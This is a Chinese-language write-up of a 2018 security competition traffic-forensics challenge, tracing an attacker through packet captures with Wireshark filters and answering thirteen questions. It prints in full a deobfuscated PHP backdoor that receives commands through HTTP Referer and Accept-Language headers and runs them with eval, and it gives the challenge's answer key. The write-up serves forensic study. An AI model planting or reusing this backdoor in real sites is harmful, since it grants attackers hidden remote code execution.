2018.5.5信息安全铁人三项赛数据赛复现
前言:
最近的學習效率不是很高,但無論在家還是學校都要學會自律,而且馬上就鐵人三項比賽了,通過復現一些之前的賽題進行學習。
0x01:涉及的一些協議
作用:是一種面向連接、可靠的、基于字節流的傳輸層通信協議
功能:數據包分塊、發送接收確認、超時重發、數據校驗、數據包排序、控制流量
TCP格式
連接,三次握手
斷開連接,四處揮手
3. UDP(用戶數據報協議)
4. IP (互聯網協議)
5. FTP(文件傳輸協議)
作用:用于網絡上進行文件傳輸的一套標準協議,使用C/S模式。屬于應用層。
FTP一般運行在20和21兩個端口。20用于傳輸控制流
在wireshark過濾器中
ftp 只顯示命令鏈路的,沒有數據鏈路的 ftp-data 傳輸數據的鏈路 ftp-data or ftp 全部顯示作用:通過解析網絡層地址來尋找數據鏈路層地址,即通過IP地址定位MAC地址
7. DHCP(動態地址配置協議)
作用:用于內部網絡或網絡服務供應商自動分配IP地址給用戶
請求過程和報文格式
0x02:常用過濾命令
#1.過濾IP ip.addr==192.168.x.x ip.addr.eq 192.168.x.x (addr/src/dst) #2.過濾協議 http/tcp/telnet/ssh #3.過濾HTTP請求方法 http.request.method==POST(GET) #4.uri中包含eval關鍵字 http.request.uri contains eval #5.請求狀態碼為404 http.response.code==404 #6.連接符 && || and or做題技巧:
1.大量404請求-》目錄掃描 2.大量select...from關鍵字請求-》sql注入 3.連續一個ip的多端口請求或多個ip的幾個相同端口請求-》端口掃描 4.常見的關鍵字: Login、admin、manage、edit、upload、eval assert、POST、select、404、alert2018.5.5信息安全鐵人三項
#題目描述 1.黑客攻擊的第一個受害主機的網卡IP地址 2.黑客對URL的哪一個參數實施了SQL注入 3.第一個受害主機網站數據庫的表前綴(加上下劃線 例如abc_) 4.第一個受害主機網站數據庫的名字 5.Joomla后臺管理員的密碼是多少 6.黑客第一次獲得的php木馬的密碼是什么 7.黑客第二次上傳php木馬是什么時間 8.第二次上傳的木馬通過HTTP協議中的哪個頭傳遞數據 9.內網主機的mysql用戶名和請求連接的密碼hash是多少(用戶:密碼hash) 10.php代理第一次被使用時最先連接了哪個IP地址 11.黑客第一次獲取到當前目錄下的文件列表的漏洞利用請求發生在什么時候 12.黑客在內網主機中添加的用戶名和密碼是多少 13.黑客從內網服務器中下載下來的文件名第一個數據包
一大堆的數據包,先過濾http協議查看一下
這個IP很可疑,而且也是公網的IP,過濾一下可靠他都訪問了哪些IP
發現202.1.1.2對192.168.1.8發送大量的請求(爆破),所以黑客攻擊的第一個受害主機的網卡IP地址192.168.1.8
繼續往下面看,發現在進行SQL注入,隨便拿一個追蹤數據流
所以黑客對URL的list[select]參數實施了SQL注入
在報錯信息中可以查看到網站數據庫的表前綴
為ajtuc_
接下來確定第一個受害主機網站數據庫的名字,SQL注入而且是GET方式的,肯定會在傳入的參數中留下注入的數據庫名字,再次進行過濾
(ip.src==202.1.1.2&&ip.dst==192.168.1.8) && http直接查看202.1.1.2,SQL注入的最后一條請求,進行解碼
第一個受害主機網站數據庫的名字為Joomla
接下來查找Joomla后臺管理員的密碼是什么
http contains "password" && http.request.method==POST
過濾出兩條登陸的信息,但查看HTTP數據流發現都是在測試密碼,所以這里沒有密碼,一開始覺得是在第二個流量包里面,但是過濾后發現已經是登陸成功了,所以既然密碼沒有在登陸出現,就去查一下是否在SQL注入的時候給爆破出來了,就在過濾語句中添加password
查到三條數據
查看返回的報錯信息
發現SQL語句前面都有一個0x71717a7671,后面有一個0x71716b6b71,解碼一下
0x71717a7671 qqzvq 0x71716b6b71 qqkkq所以是前綴和后綴,去掉這些,得到
$2y$10$lXujU7XaUviJDig FMzKy6.wx7EMCBqpzrJdn7 zi/8B2QRD7qIlDJe到這一步也不知道該怎么弄了,看了飄零師傅的博客,最后是合在一起,組成密文解密即可(所以上面的報文錯誤信息就需要按順序排列)
$2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe這個不知道要怎么破解,破解之后應該就是密碼了
第二個數據包
接下來查看黑客第一次獲得的php木馬的密碼是什么
這個是在第一個數據包最后面發現的,一個php文件,一看就不正常好吧 ,應該不會開發人員沒事干寫個這種文件,所以應該是木馬,追蹤一下流查看一下
但是啥也沒,所以就直接切換第二個數據包進行查看
發現有幾個數據包是POST /kkkaaa.php,追蹤一下流進行查看
傳入的可以解碼一下,而且服務器返回的狀態碼是200,說明是成功的
所以很明顯了php木馬的密碼是zzz
黑客第二次上傳php木馬是什么時間
發現一個footer.php文件,但并沒有上傳這個文件的過程,猜想是不是通過之前的木馬進行上傳的
發現第四個有些特別,可以查看下
解碼并進行格式化后發現有footer. php
但下面那一段代碼輸出后是什么,可以測試一下
var_dump($x);格式化一下
<?PHP "$kh="cb42";$kf="e130"; function x($t, $k) {$c = strlen($k);$l = strlen($t);$o = "";for ($i = 0; $i < $l;) {for ($j = 0; $j < $c && $i < $l; $j++, $i++) {$o .= $t[$i] ^ $k[$j];}}return $o; } $r=$_SERVER; $rr=@$r["HTTP_REFERER"]; $ra=@$r["HTTP_ACCEPT_LANGUAGE"]; if($rr&&$ra){$u = parse_url($rr); parse_str($u["query"], $q); $q = array_values($q); preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m); if ($q && $m) { @session_start(); $s = & $_SESSION; $ss = "substr"; $sl = "strtolower"; $i = $m[1][0] . $m[1][1]; $h = $sl($ss(md5($i . $kh), 0, 3)); $f = $sl($ss(md5($i . $kf), 0, 3)); $p = ""; for ($z = 1;$z < count($m[1]);$z++) $p.= $q[$m[2][$z]]; if (strpos($p, $h) === 0) {$s[$i] = ""; $p = $ss($p, 3); }if (array_key_exists($i, $s)) {$s[$i].= $p; $e = strpos($s[$i], $f); if ($e) {$k = $kh . $kf; ob_start(); @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k))); $o = ob_get_contents(); ob_end_clean(); $d = base64_encode(x(gzcompress($o), $k)); print ("<$k>$d</$k>"); @session_destroy(); }}}}"所以黑客第二次上傳php木馬時間是
17:20:44.248365000第二次上傳的木馬通過HTTP協議中的哪個頭傳遞數據
觀察木馬涉及到了這兩個與HTTP頭有關的參數
$_SERVER["HTTP_REFERER"]和$_SERVER["HTTP_ACCEPT_LANGUAGE"]查看一下上傳進去的第二個木馬
先進行過濾一下
(ip.src==202.1.1.2&&ip.dst==192.168.1.8) && http查看其中的一個footer. php文件
發現Referer比較可疑,所以第二次上傳的木馬通過HTTP協議中Referer來傳遞數據的,一開始我是這樣做的,但這樣感覺跟猜測一樣,沒有確定的證據,看了飄零師傅的題解,發現要先解碼
是亂碼,再看上面的木馬,有一段是這樣的,與小馬的特性有關
一個PHP混淆后門的分析
返回的是加密后的信息
所以這樣才能進行確定第二次上傳的木馬通過HTTP協議中Referer來傳遞數據的
內網主機的mysql用戶名和請求連接的密碼hash是多少(用戶:密碼hash)
注意這里是內網主機,所以再用http是查不多任何結果的,使用TCP協議,上面也介紹了這種協議
tcp contains "mysql" && mysql在第二個數據包,沒有找到任何信息,查看第三個數據包也沒有發現,看第四個
第四個數據包
發現192.168.1.8進行頻繁的登陸,應該是在爆破MySQL密碼
進一步過濾,找最后一條信息,應該就是登陸成功了
故內網主機的mysql用戶名和請求連接的密碼hash是
總結一下已經得到的信息
1.黑客攻擊的第一個受害主機的網卡IP地址 192.168.1.8 2.黑客對URL的哪一個參數實施了SQL注入 list[select] 3.第一個受害主機網站數據庫的表前綴(加上下劃線 例如abc_) ajtuc_ 4.第一個受害主機網站數據庫的名字 joomla 5.Joomla后臺管理員的密碼是多少 $2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe(未解密) 6.黑客第一次獲得的php木馬的密碼是什么 zzz 7.黑客第二次上傳php木馬是什么時間 17:20:44.248365 8.第二次上傳的木馬通過HTTP協議中的哪個頭傳遞數據 Referer 9.內網主機的mysql用戶名和請求連接的密碼hash是多少(用戶:密碼hash) admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4接下來看第10個問題
php代理第一次被使用時最先連接了哪個IP地址
(ip.src==202.1.1.2&&ip.dst==192.168.1.8) && http查看一下,發現又多出來一個文件
該主機已經被掛上了tunnel.php,方便外網對內網的訪問,所以php代理第一次被使用時最先連接了4.2.2.2
第九個數據包
黑客第一次獲取到當前目錄下的文件列表的漏洞利用請求發生在什么時候
(ip.src==202.1.1.2&&ip.dst==192.168.1.8) && (http contains "dir" && http contains "ls")如果還是這樣的過濾方法就查詢不到信息,因為這種查詢固定了src只能是202.1.1.2,不能接收來自192.168.1.8的信息,之前用這種過濾的可能還行,但更好的還是使用下面這種過濾方法:
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && (http contains "dir" || http contains "ls")發現了ls、dir
觀察追蹤ls的數據流,發現并沒有列出文件,追蹤一下dir的數據流
很明顯都列出來了,所以黑客第一次獲取到當前目錄下的文件列表的漏洞利用請求發生
而且目標系統為windows
黑客在內網主機中添加的用戶名和密碼是多少
由上面可以知道192.168.2.20的機器可以執行命令,所以過濾出這個IP
ip.addr == 192.168.2.20 && http
黑客利用echo命令寫入了一個名為sh.php的后門,在18:49:27.767754000時間發現
發現一條可疑數據,解碼一下傳入的參數發現
判斷黑客應該是執行了net user的命令,再往下面看發現
在18:50:42.908737000 時間時間出現了一個kaka用戶
分析一下
說明就在這期間,黑客設置了管理員,下面就過濾下查詢
所以添加用戶名和密碼一定就在這之間
結果在18:49:48.830665000時間找到了添加用戶的信息
解碼發現,添加了kaka用戶,而且密碼也為kaka
故黑客在內網主機中添加的用戶名和密碼均是kaka
最后查詢一下黑客從內網服務器中下載下來的文件名是什么?
ip.src == 192.168.2.20 && http contains "install"如果黑客請求了,192.168.2.20這個IP一定會返回響應的信息,過濾后查到了
看了飄零師傅的題解,既然是下載,應該就是利用中國菜刀進行下載,那只過濾出post流量,查看命令即可
直接查找最后一條信息
解碼發現也是這個文件,所以可以確定黑客下載的就是這個文件
答案匯總
1.黑客攻擊的第一個受害主機的網卡IP地址 192.168.1.8 2.黑客對URL的哪一個參數實施了SQL注入 list[select] 3.第一個受害主機網站數據庫的表前綴(加上下劃線 例如abc_) ajtuc_ 4.第一個受害主機網站數據庫的名字 joomla 5.Joomla后臺管理員的密碼是多少 $2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe(未解密) 6.黑客第一次獲得的php木馬的密碼是什么 zzz 7.黑客第二次上傳php木馬是什么時間 17:20:44.248365 8.第二次上傳的木馬通過HTTP協議中的哪個頭傳遞數據 Referer 9.內網主機的mysql用戶名和請求連接的密碼hash是多少(用戶:密碼hash) admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4 10.php代理第一次被使用時最先連接了哪個IP地址 4.2.2.2 11.黑客第一次獲取到當前目錄下的文件列表的漏洞利用請求發生在什么時候 18:37:38.482420 12.黑客在內網主機中添加的用戶名和密碼是多少 kaka:kaka 13.黑客從內網服務器中下載下來的文件名 lsass.exe_180208_185247.dmp總結
做完感覺挺有意思的,有些地方沒有想到就看看飄零師傅的題解,師傅實在tql,像師傅學習!
總結
以上是生活随笔為你收集整理的2018.5.5信息安全铁人三项赛数据赛复现的全部內容,希望文章能夠幫你解決所遇到的問題。